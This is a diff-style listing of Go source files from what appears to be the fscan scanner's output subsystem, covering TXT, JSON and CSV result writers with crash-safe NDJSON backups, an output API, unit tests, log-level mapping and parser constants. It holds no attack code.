if w.getDetailStr(result, "server") != "" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
service := w.getDetailStr(result, "service")
|
||||||
|
return service == "http" || service == "https"
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *TXTWriter) webProtocol(result *ScanResult, target string) string {
|
||||||
|
protocol := strings.ToLower(w.getDetailStr(result, "protocol"))
|
||||||
|
if protocol == "http" || protocol == "https" {
|
||||||
|
return protocol
|
||||||
|
}
|
||||||
|
|
||||||
|
service := strings.ToLower(w.getDetailStr(result, "service"))
|
||||||
|
if service == "https" || strings.Contains(target, ":443") {
|
||||||
|
return "https"
|
||||||
|
}
|
||||||
|
return "http"
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetFormat 获取格式类型
|
||||||
|
func (w *TXTWriter) GetFormat() Format {
|
||||||
|
return FormatTXT
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// JSONWriter - JSON格式写入器
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// JSONWriter JSON格式写入器(分类去重,输出完整JSON)
|
||||||
|
// 双写机制:内存分类缓冲 + 实时NDJSON备份
|
||||||
|
type JSONWriter struct {
|
||||||
|
file *os.File
|
||||||
|
mu sync.Mutex
|
||||||
|
closed bool
|
||||||
|
buffer *ResultBuffer
|
||||||
|
realtimeFile *os.File // 实时备份文件(NDJSON格式)
|
||||||
|
realtimePath string // 实时备份文件路径
|
||||||
|
}
|
||||||
|
|
||||||
|
// JSONOutput JSON输出结构
|
||||||
|
type JSONOutput struct {
|
||||||
|
ScanTime time.Time `json:"scan_time"`
|
||||||
|
Summary JSONSummary `json:"summary"`
|
||||||
|
Hosts []*ScanResult `json:"hosts,omitempty"`
|
||||||
|
Ports []*ScanResult `json:"ports,omitempty"`
|
||||||
|
Services []*ScanResult `json:"services,omitempty"`
|
||||||
|
Vulns []*ScanResult `json:"vulns,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// JSONSummary 扫描摘要
|
||||||
|
type JSONSummary struct {
|
||||||
|
TotalHosts int `json:"total_hosts"`
|
||||||
|
TotalPorts int `json:"total_ports"`
|
||||||
|
TotalServices int `json:"total_services"`
|
||||||
|
TotalVulns int `json:"total_vulns"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewJSONWriter 创建JSON写入器
|
||||||
|
func NewJSONWriter(filePath string) (*JSONWriter, error) {
|
||||||
|
file, err := os.OpenFile(filePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to create JSON file: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建实时备份文件(NDJSON格式,每行一个JSON对象)
|
||||||
|
realtimePath := filePath + ".realtime.tmp"
|
||||||
|
realtimeFile, err := os.OpenFile(realtimePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
|
||||||
|
if err != nil {
|
||||||
|
file.Close()
|
||||||
|
return nil, fmt.Errorf("failed to create realtime backup file: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return &JSONWriter{
|
||||||
|
file: file,
|
||||||
|
buffer: NewResultBuffer(),
|
||||||
|
realtimeFile: realtimeFile,
|
||||||
|
realtimePath: realtimePath,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// WriteHeader 写入头部
|
||||||
|
func (w *JSONWriter) WriteHeader() error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write 收集扫描结果,同时实时写入备份文件
|
||||||
|
func (w *JSONWriter) Write(result *ScanResult) error {
|
||||||
|
w.mu.Lock()
|
||||||
|
defer w.mu.Unlock()
|
||||||
|
|
||||||
|
if w.closed {
|
||||||
|
return fmt.Errorf("writer is closed")
|
||||||
|
}
|
||||||
|
if result == nil {
|
||||||
|
return fmt.Errorf("result cannot be nil")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1. 加入内存分类缓冲(用于最终有序输出)
|
||||||
|
w.buffer.Add(result)
|
||||||
|
|
||||||
|
// 2. 实时写入备份文件(NDJSON格式,防崩溃丢失)
|
||||||
|
if w.realtimeFile != nil {
|
||||||
|
data, err := json.Marshal(result)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to marshal result: %w", err)
|
||||||
|
}
|
||||||
|
if _, err := w.realtimeFile.Write(append(data, '\n')); err != nil {
|
||||||
|
return fmt.Errorf("failed to write realtime backup: %w", err)
|
||||||
|
}
|
||||||
|
if err := w.realtimeFile.Sync(); err != nil {
|
||||||
|
return fmt.Errorf("failed to sync realtime backup: %w", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Flush 刷新写入器
|
||||||
|
func (w *JSONWriter) Flush() error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close 关闭写入器(写入完整JSON,删除临时备份)
|
||||||
|
func (w *JSONWriter) Close() error {
|
||||||
|
w.mu.Lock()
|
||||||
|
defer w.mu.Unlock()
|
||||||
|
|
||||||
|
if w.closed {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
hosts, ports, services, vulns := w.buffer.Summary()
|
||||||
|
output := JSONOutput{
|
||||||
|
ScanTime: time.Now(),
|
||||||
|
Summary: JSONSummary{
|
||||||
|
TotalHosts: hosts,
|
||||||
|
TotalPorts: ports,
|
||||||
|
TotalServices: services,
|
||||||
|
TotalVulns: vulns,
|
||||||
|
},
|
||||||
|
Hosts: w.buffer.HostResults,
|
||||||
|
Ports: w.buffer.PortResults,
|
||||||
|
Services: w.buffer.ServiceResults,
|
||||||
|
Vulns: w.buffer.VulnResults,
|
||||||
|
}
|
||||||
|
|
||||||
|
data, err := json.MarshalIndent(output, JSONIndentPrefix, JSONIndentString)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
w.closed = true
|
||||||
|
|
||||||
|
// 关闭并删除实时备份文件(正常结束,不再需要)
|
||||||
|
if w.realtimeFile != nil {
|
||||||
|
w.realtimeFile.Close()
|
||||||
|
os.Remove(w.realtimePath)
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := w.file.Write(data); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return w.file.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetFormat 获取格式类型
|
||||||
|
func (w *JSONWriter) GetFormat() Format {
|
||||||
|
return FormatJSON
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// CSVWriter - CSV格式写入器
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// CSVWriter CSV格式写入器(分类去重)
|
||||||
|
// 双写机制:内存分类缓冲 + 实时NDJSON备份
|
||||||
|
type CSVWriter struct {
|
||||||
|
file *os.File
|
||||||
|
bufWriter *bufio.Writer
|
||||||
|
csvWriter *csv.Writer
|
||||||
|
mu sync.Mutex
|
||||||
|
closed bool
|
||||||
|
buffer *ResultBuffer
|
||||||
|
realtimeFile *os.File // 实时备份文件(NDJSON格式)
|
||||||
|
realtimePath string // 实时备份文件路径
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewCSVWriter 创建CSV写入器
|
||||||
|
func NewCSVWriter(filePath string) (*CSVWriter, error) {
|
||||||
|
file, err := os.OpenFile(filePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to create CSV file: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建实时备份文件(NDJSON格式)
|
||||||
|
realtimePath := filePath + ".realtime.tmp"
|
||||||
|
realtimeFile, err := os.OpenFile(realtimePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
|
||||||
|
if err != nil {
|
||||||
|
file.Close()
|
||||||
|
return nil, fmt.Errorf("failed to create realtime backup file: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
bufWriter := bufio.NewWriter(file)
|
||||||
|
csvWriter := csv.NewWriter(bufWriter)
|
||||||
|
|
||||||
|
return &CSVWriter{
|
||||||
|
file: file,
|
||||||
|
bufWriter: bufWriter,
|
||||||
|
csvWriter: csvWriter,
|
||||||
|
buffer: NewResultBuffer(),
|
||||||
|
realtimeFile: realtimeFile,
|
||||||
|
realtimePath: realtimePath,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// WriteHeader 写入CSV头部
|
||||||
|
func (w *CSVWriter) WriteHeader() error {
|
||||||
|
return nil // 延迟到Close时写入
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write 收集扫描结果,同时实时写入备份文件
|
||||||
|
func (w *CSVWriter) Write(result *ScanResult) error {
|
||||||
|
w.mu.Lock()
|
||||||
|
defer w.mu.Unlock()
|
||||||
|
|
||||||
|
if w.closed {
|
||||||
|
return fmt.Errorf("writer is closed")
|
||||||
|
}
|
||||||
|
if result == nil {
|
||||||
|
return fmt.Errorf("result cannot be nil")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1. 加入内存分类缓冲(用于最终有序输出)
|
||||||
|
w.buffer.Add(result)
|
||||||
|
|
||||||
|
// 2. 实时写入备份文件(NDJSON格式,防崩溃丢失)
|
||||||
|
if w.realtimeFile != nil {
|
||||||
|
data, err := json.Marshal(result)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to marshal result: %w", err)
|
||||||
|
}
|
||||||
|
if _, err := w.realtimeFile.Write(append(data, '\n')); err != nil {
|
||||||
|
return fmt.Errorf("failed to write realtime backup: %w", err)
|
||||||
|
}
|
||||||
|
if err := w.realtimeFile.Sync(); err != nil {
|
||||||
|
return fmt.Errorf("failed to sync realtime backup: %w", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Flush 刷新写入器
|
||||||
|
func (w *CSVWriter) Flush() error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close 关闭写入器(按类型分组写入,删除临时备份)
|
||||||
|
func (w *CSVWriter) Close() error {
|
||||||
|
w.mu.Lock()
|
||||||
|
defer w.mu.Unlock()
|
||||||
|
|
||||||
|
if w.closed {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 写入各分类
|
||||||
|
w.writeSection("# Hosts", []string{"Target"}, w.buffer.HostResults, w.formatHostRecord)
|
||||||
|
w.writeSection("# Ports", []string{"Target", "Port", "Status"}, w.buffer.PortResults, w.formatPortRecord)
|
||||||
|
w.writeSection("# Services", []string{"Target", "Service", "Version", "Title", "Status", "Server", "Fingerprints", "Banner"}, w.buffer.ServiceResults, w.formatServiceRecord)
|
||||||
|
w.writeSection("# Vulns", []string{"Target", "Type", "Details"}, w.buffer.VulnResults, w.formatVulnRecord)
|
||||||
|
|
||||||
|
w.closed = true
|
||||||
|
|
||||||
|
// 关闭并删除实时备份文件(正常结束,不再需要)
|
||||||
|
if w.realtimeFile != nil {
|
||||||
|
w.realtimeFile.Close()
|
||||||
|
os.Remove(w.realtimePath)
|
||||||
|
}
|
||||||
|
|
||||||
|
w.csvWriter.Flush()
|
||||||
|
if err := w.csvWriter.Error(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if err := w.bufWriter.Flush(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return w.file.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *CSVWriter) writeSection(title string, headers []string, results []*ScanResult, formatter func(*ScanResult) []string) {
|
||||||
|
if len(results) == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
_ = w.csvWriter.Write([]string{title})
|
||||||
|
_ = w.csvWriter.Write(headers)
|
||||||
|
|
||||||
|
for _, result := range results {
|
||||||
|
_ = w.csvWriter.Write(formatter(result))
|
||||||
|
}
|
||||||
|
_ = w.csvWriter.Write([]string{})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *CSVWriter) formatHostRecord(result *ScanResult) []string {
|
||||||
|
return []string{result.Target}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *CSVWriter) formatPortRecord(result *ScanResult) []string {
|
||||||
|
port := ""
|
||||||
|
if result.Details != nil {
|
||||||
|
if p, ok := result.Details["port"]; ok {
|
||||||
|
port = fmt.Sprintf("%v", p)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return []string{result.Target, port, "open"}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string {
|
||||||
|
service, version, title, status, server, fingerprints, banner := "", "", "", "", "", "", ""
|
||||||
|
if result.Details != nil {
|
||||||
|
if s, ok := result.Details["service"].(string); ok {
|
||||||
|
service = s
|
||||||
|
}
|
||||||
|
if s, ok := result.Details["name"].(string); ok && service == "" {
|
||||||
|
service = s
|
||||||
|
}
|
||||||
|
if s, ok := result.Details["plugin"].(string); ok && service == "" {
|
||||||
|
service = s
|
||||||
|
}
|
||||||
|
if v, ok := result.Details["version"].(string); ok {
|
||||||
|
version = v
|
||||||
|
}
|
||||||
|
if t, ok := result.Details["title"].(string); ok {
|
||||||
|
title = escapeControlChars(t)
|
||||||
|
}
|
||||||
|
if s, ok := result.Details["status"]; ok && s != nil && s != 0 {
|
||||||
|
status = fmt.Sprintf("%v", s)
|
||||||
|
}
|
||||||
|
if s, ok := result.Details["server"].(string); ok {
|
||||||
|
server = escapeControlChars(s)
|
||||||
|
}
|
||||||
|
fingerprints = formatFingerprints(result.Details["fingerprints"])
|
||||||
|
if b, ok := result.Details["banner"].(string); ok {
|
||||||
|
banner = escapeControlChars(b)
|
||||||
|
banner = truncateString(banner, 100)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
target := result.Target
|
||||||
|
if result.Details != nil {
|
||||||
|
target = targetWithPort(target, result.Details["port"])
|
||||||
|
}
|
||||||
|
return []string{target, service, version, title, status, server, fingerprints, banner}
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatFingerprints(value interface{}) string {
|
||||||
|
switch v := value.(type) {
|
||||||
|
case []string:
|
||||||
|
return strings.Join(v, ",")
|
||||||
|
case []interface{}:
|
||||||
|
parts := make([]string, 0, len(v))
|
||||||
|
for _, item := range v {
|
||||||
|
if s, ok := item.(string); ok && s != "" {
|
||||||
|
parts = append(parts, s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return strings.Join(parts, ",")
|
||||||
|
default:
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *CSVWriter) formatVulnRecord(result *ScanResult) []string {
|
||||||
|
vulnType := ""
|
||||||
|
vulnName := result.Status
|
||||||
|
if result.Details != nil {
|
||||||
|
if t, ok := result.Details["type"].(string); ok {
|
||||||
|
vulnType = t
|
||||||
|
}
|
||||||
|
if v, ok := result.Details["vulnerability"].(string); ok && v != "" {
|
||||||
|
vulnName = v
|
||||||
|
} else if v, ok := result.Details["vulnerability_name"].(string); ok && v != "" {
|
||||||
|
vulnName = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return []string{result.Target, vulnType, vulnName}
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetFormat 获取格式类型
|
||||||
|
func (w *CSVWriter) GetFormat() Format {
|
||||||
|
return FormatCSV
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,104 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
/*
|
||||||
|
output_api.go - 输出系统简化接口
|
||||||
|
|
||||||
|
提供扫描结果输出的统一API,底层使用output包实现。
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/output"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ResultOutput 全局输出管理器
|
||||||
|
var ResultOutput *output.Manager
|
||||||
|
|
||||||
|
// StdoutWriter silent模式下的NDJSON stdout写入器
|
||||||
|
var StdoutWriter *output.StdoutNDJSONWriter
|
||||||
|
|
||||||
|
// InitOutput 初始化输出系统
|
||||||
|
func InitOutput() error {
|
||||||
|
fv := GetFlagVars()
|
||||||
|
|
||||||
|
// silent模式:初始化NDJSON stdout写入器(独立于文件输出)
|
||||||
|
if fv.Silent {
|
||||||
|
StdoutWriter = output.NewStdoutNDJSONWriter()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 用户通过-no flag禁用保存时,跳过文件初始化避免不必要的资源开销
|
||||||
|
if fv.DisableSave {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
outputFile := fv.Outputfile
|
||||||
|
outputFormat := fv.OutputFormat
|
||||||
|
|
||||||
|
if outputFile == "" {
|
||||||
|
return fmt.Errorf("output file not specified")
|
||||||
|
}
|
||||||
|
|
||||||
|
var format output.Format
|
||||||
|
switch outputFormat {
|
||||||
|
case "txt":
|
||||||
|
format = output.FormatTXT
|
||||||
|
case "json":
|
||||||
|
format = output.FormatJSON
|
||||||
|
case "csv":
|
||||||
|
format = output.FormatCSV
|
||||||
|
default:
|
||||||
|
return fmt.Errorf("invalid output format: %s", outputFormat)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果使用默认文件名但格式不是txt,自动修正扩展名
|
||||||
|
if outputFile == "result.txt" && outputFormat != "txt" {
|
||||||
|
outputFile = "result." + outputFormat
|
||||||
|
}
|
||||||
|
|
||||||
|
config := output.DefaultManagerConfig(outputFile, format)
|
||||||
|
manager, err := output.NewManager(config)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
ResultOutput = manager
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// CloseOutput 关闭输出系统
|
||||||
|
func CloseOutput() error {
|
||||||
|
if StdoutWriter != nil {
|
||||||
|
_ = StdoutWriter.Close()
|
||||||
|
}
|
||||||
|
if ResultOutput == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return ResultOutput.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
// SaveResult 保存扫描结果
|
||||||
|
func SaveResult(result *output.ScanResult) error {
|
||||||
|
if result == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 通知Web(无论是否保存文件)
|
||||||
|
NotifyResult(map[string]interface{}{
|
||||||
|
"type": string(result.Type),
|
||||||
|
"target": result.Target,
|
||||||
|
"status": result.Status,
|
||||||
|
"time": result.Time,
|
||||||
|
"details": result.Details,
|
||||||
|
})
|
||||||
|
|
||||||
|
// silent模式:NDJSON实时输出到stdout
|
||||||
|
if StdoutWriter != nil {
|
||||||
|
_ = StdoutWriter.WriteResult(result)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 用户禁用保存或输出未初始化时,跳过文件保存
|
||||||
|
if GetGlobalConfig().Output.DisableSave || ResultOutput == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return ResultOutput.SaveResult(result)
|
||||||
|
}
|
||||||
@@ -0,0 +1,171 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/output"
|
||||||
|
)
|
||||||
|
|
||||||
|
func readTestFile(t *testing.T, path string) string {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
content, err := os.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read %s: %v", path, err)
|
||||||
|
}
|
||||||
|
return string(content)
|
||||||
|
}
|
||||||
|
|
||||||
|
func preserveOutputAPIGlobals(t *testing.T) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
globalMu.RLock()
|
||||||
|
oldConfig := globalConfig
|
||||||
|
oldState := globalState
|
||||||
|
globalMu.RUnlock()
|
||||||
|
|
||||||
|
oldFlagVars := flagVars
|
||||||
|
oldResultOutput := ResultOutput
|
||||||
|
oldStdoutWriter := StdoutWriter
|
||||||
|
|
||||||
|
t.Cleanup(func() {
|
||||||
|
if ResultOutput != nil && ResultOutput != oldResultOutput {
|
||||||
|
_ = ResultOutput.Close()
|
||||||
|
}
|
||||||
|
if StdoutWriter != nil && StdoutWriter != oldStdoutWriter {
|
||||||
|
_ = StdoutWriter.Close()
|
||||||
|
}
|
||||||
|
ClearResultCallback()
|
||||||
|
|
||||||
|
globalMu.Lock()
|
||||||
|
globalConfig = oldConfig
|
||||||
|
globalState = oldState
|
||||||
|
globalMu.Unlock()
|
||||||
|
|
||||||
|
flagVars = oldFlagVars
|
||||||
|
ResultOutput = oldResultOutput
|
||||||
|
StdoutWriter = oldStdoutWriter
|
||||||
|
})
|
||||||
|
|
||||||
|
ClearResultCallback()
|
||||||
|
flagVars = &FlagVars{}
|
||||||
|
ResultOutput = nil
|
||||||
|
StdoutWriter = nil
|
||||||
|
SetGlobalConfig(NewConfig())
|
||||||
|
SetGlobalState(NewState())
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestInitOutputValidationAndDefaultExtension(t *testing.T) {
|
||||||
|
preserveOutputAPIGlobals(t)
|
||||||
|
|
||||||
|
flagVars = &FlagVars{DisableSave: true}
|
||||||
|
if err := InitOutput(); err != nil {
|
||||||
|
t.Fatalf("InitOutput disable save error = %v", err)
|
||||||
|
}
|
||||||
|
if ResultOutput != nil {
|
||||||
|
t.Fatalf("ResultOutput = %#v, want nil when save is disabled", ResultOutput)
|
||||||
|
}
|
||||||
|
|
||||||
|
flagVars = &FlagVars{OutputFormat: "txt"}
|
||||||
|
if err := InitOutput(); err == nil || !strings.Contains(err.Error(), "output file not specified") {
|
||||||
|
t.Fatalf("missing output error = %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
flagVars = &FlagVars{Outputfile: "out.bad", OutputFormat: "xml"}
|
||||||
|
if err := InitOutput(); err == nil || !strings.Contains(err.Error(), "invalid output format") {
|
||||||
|
t.Fatalf("invalid format error = %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
dir := t.TempDir()
|
||||||
|
t.Chdir(dir)
|
||||||
|
flagVars = &FlagVars{Outputfile: "result.txt", OutputFormat: "json"}
|
||||||
|
if err := InitOutput(); err != nil {
|
||||||
|
t.Fatalf("InitOutput json error = %v", err)
|
||||||
|
}
|
||||||
|
if ResultOutput == nil {
|
||||||
|
t.Fatal("ResultOutput should be initialized")
|
||||||
|
}
|
||||||
|
if err := SaveResult(&output.ScanResult{
|
||||||
|
Time: time.Date(2026, 6, 13, 1, 2, 3, 0, time.UTC),
|
||||||
|
Type: output.TypeHost,
|
||||||
|
Target: "127.0.0.1",
|
||||||
|
Status: "ALIVE",
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatalf("SaveResult json error = %v", err)
|
||||||
|
}
|
||||||
|
if err := CloseOutput(); err != nil {
|
||||||
|
t.Fatalf("CloseOutput error = %v", err)
|
||||||
|
}
|
||||||
|
if content := readTestFile(t, filepath.Join(dir, "result.json")); !strings.Contains(content, "127.0.0.1") {
|
||||||
|
t.Fatalf("result.json content = %q, want saved target", content)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCloseOutputWithStdoutWriter(t *testing.T) {
|
||||||
|
preserveOutputAPIGlobals(t)
|
||||||
|
|
||||||
|
// 初始化 silent 模式以创建 StdoutWriter
|
||||||
|
flagVars = &FlagVars{Silent: true, DisableSave: true}
|
||||||
|
if err := InitOutput(); err != nil {
|
||||||
|
t.Fatalf("InitOutput silent error = %v", err)
|
||||||
|
}
|
||||||
|
if StdoutWriter == nil {
|
||||||
|
t.Fatal("StdoutWriter 应在 Silent 模式下被初始化")
|
||||||
|
}
|
||||||
|
|
||||||
|
// CloseOutput 应正常关闭 StdoutWriter
|
||||||
|
if err := CloseOutput(); err != nil {
|
||||||
|
t.Fatalf("CloseOutput with StdoutWriter error = %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSaveResultFacadeCallbackAndDisabledSave(t *testing.T) {
|
||||||
|
preserveOutputAPIGlobals(t)
|
||||||
|
|
||||||
|
cfg := NewConfig()
|
||||||
|
cfg.Output.DisableSave = true
|
||||||
|
SetGlobalConfig(cfg)
|
||||||
|
|
||||||
|
flagVars = &FlagVars{DisableSave: true}
|
||||||
|
if err := InitOutput(); err != nil {
|
||||||
|
t.Fatalf("InitOutput disable save error = %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
called := false
|
||||||
|
SetResultCallback(func(payload interface{}) {
|
||||||
|
called = true
|
||||||
|
data, ok := payload.(map[string]interface{})
|
||||||
|
if !ok {
|
||||||
|
t.Fatalf("callback payload type = %T", payload)
|
||||||
|
}
|
||||||
|
if data["type"] != string(output.TypeVuln) || data["target"] != "http://example.com" {
|
||||||
|
t.Fatalf("callback payload = %#v", data)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if err := SaveResult(nil); err != nil {
|
||||||
|
t.Fatalf("SaveResult nil error = %v", err)
|
||||||
|
}
|
||||||
|
if called {
|
||||||
|
t.Fatal("nil result should not notify callback")
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := SaveResult(&output.ScanResult{
|
||||||
|
Type: output.TypeVuln,
|
||||||
|
Target: "http://example.com",
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: map[string]interface{}{"type": "poc"},
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatalf("SaveResult disabled save error = %v", err)
|
||||||
|
}
|
||||||
|
if !called {
|
||||||
|
t.Fatal("callback was not notified")
|
||||||
|
}
|
||||||
|
if err := CloseOutput(); err != nil {
|
||||||
|
t.Fatalf("CloseOutput disabled save error = %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"github.com/shadow1ng/fscan/common/logging"
|
||||||
|
)
|
||||||
|
|
||||||
|
// logLevelMap 日志级别字符串到级别的映射
|
||||||
|
var logLevelMap = map[string]logging.LogLevel{
|
||||||
|
LogLevelAll: logging.LevelAll,
|
||||||
|
LogLevelError: logging.LevelError,
|
||||||
|
LogLevelBase: logging.LevelBase,
|
||||||
|
LogLevelInfo: logging.LevelInfo,
|
||||||
|
LogLevelSuccess: logging.LevelSuccess,
|
||||||
|
LogLevelDebug: logging.LevelDebug,
|
||||||
|
LogLevelInfoSuccess: logging.LevelInfoSuccess,
|
||||||
|
LogLevelBaseInfoSuccess: logging.LevelBaseInfoSuccess,
|
||||||
|
// 旧格式(大写,向后兼容)
|
||||||
|
"ALL": logging.LevelAll,
|
||||||
|
"ERROR": logging.LevelError,
|
||||||
|
"BASE": logging.LevelBase,
|
||||||
|
"INFO": logging.LevelInfo,
|
||||||
|
"SUCCESS": logging.LevelSuccess,
|
||||||
|
"DEBUG": logging.LevelDebug,
|
||||||
|
}
|
||||||
|
|
||||||
|
// applyLogLevel 应用LogLevel配置到日志系统
|
||||||
|
func applyLogLevel() {
|
||||||
|
fv := GetFlagVars()
|
||||||
|
logLevel := fv.LogLevel
|
||||||
|
if logLevel == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
level, ok := logLevelMap[logLevel]
|
||||||
|
if !ok {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if globalLogger != nil {
|
||||||
|
config := &logging.LoggerConfig{
|
||||||
|
Level: level,
|
||||||
|
EnableColor: !fv.NoColor,
|
||||||
|
SlowOutput: false,
|
||||||
|
ShowProgress: !fv.DisableProgress,
|
||||||
|
StartTime: GetGlobalState().GetStartTime(),
|
||||||
|
LevelColors: logging.GetDefaultLevelColors(),
|
||||||
|
}
|
||||||
|
if fv.Debug {
|
||||||
|
config.DebugLogFile = "fscan_debug.log"
|
||||||
|
}
|
||||||
|
|
||||||
|
newLogger := logging.NewLogger(config)
|
||||||
|
newLogger.SetCoordinatedOutput(LogWithProgress)
|
||||||
|
globalLogger = newLogger
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
package parsers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"regexp"
|
||||||
|
)
|
||||||
|
|
||||||
|
/*
|
||||||
|
constants.go - 核心解析器常量
|
||||||
|
|
||||||
|
精简后只保留 parsers.go 所需的常量。
|
||||||
|
*/
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 端口常量
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
const (
|
||||||
|
// MinPort 最小端口号
|
||||||
|
MinPort = 1
|
||||||
|
// MaxPort 最大端口号
|
||||||
|
MaxPort = 65535
|
||||||
|
)
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 哈希验证常量
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
const (
|
||||||
|
// HashRegexPattern MD5哈希正则表达式(32位十六进制)
|
||||||
|
HashRegexPattern = `^[a-fA-F0-9]{32}$`
|
||||||
|
)
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 预编译正则表达式
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
var (
|
||||||
|
// CompiledHashRegex 预编译的MD5哈希正则
|
||||||
|
CompiledHashRegex *regexp.Regexp
|
||||||
|
)
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
CompiledHashRegex = regexp.MustCompile(HashRegexPattern)
|
||||||
|
}
|
||||||
@@ -0,0 +1,577 @@
|
|||||||
|
package parsers
|
||||||
|
|
||||||
|
import (
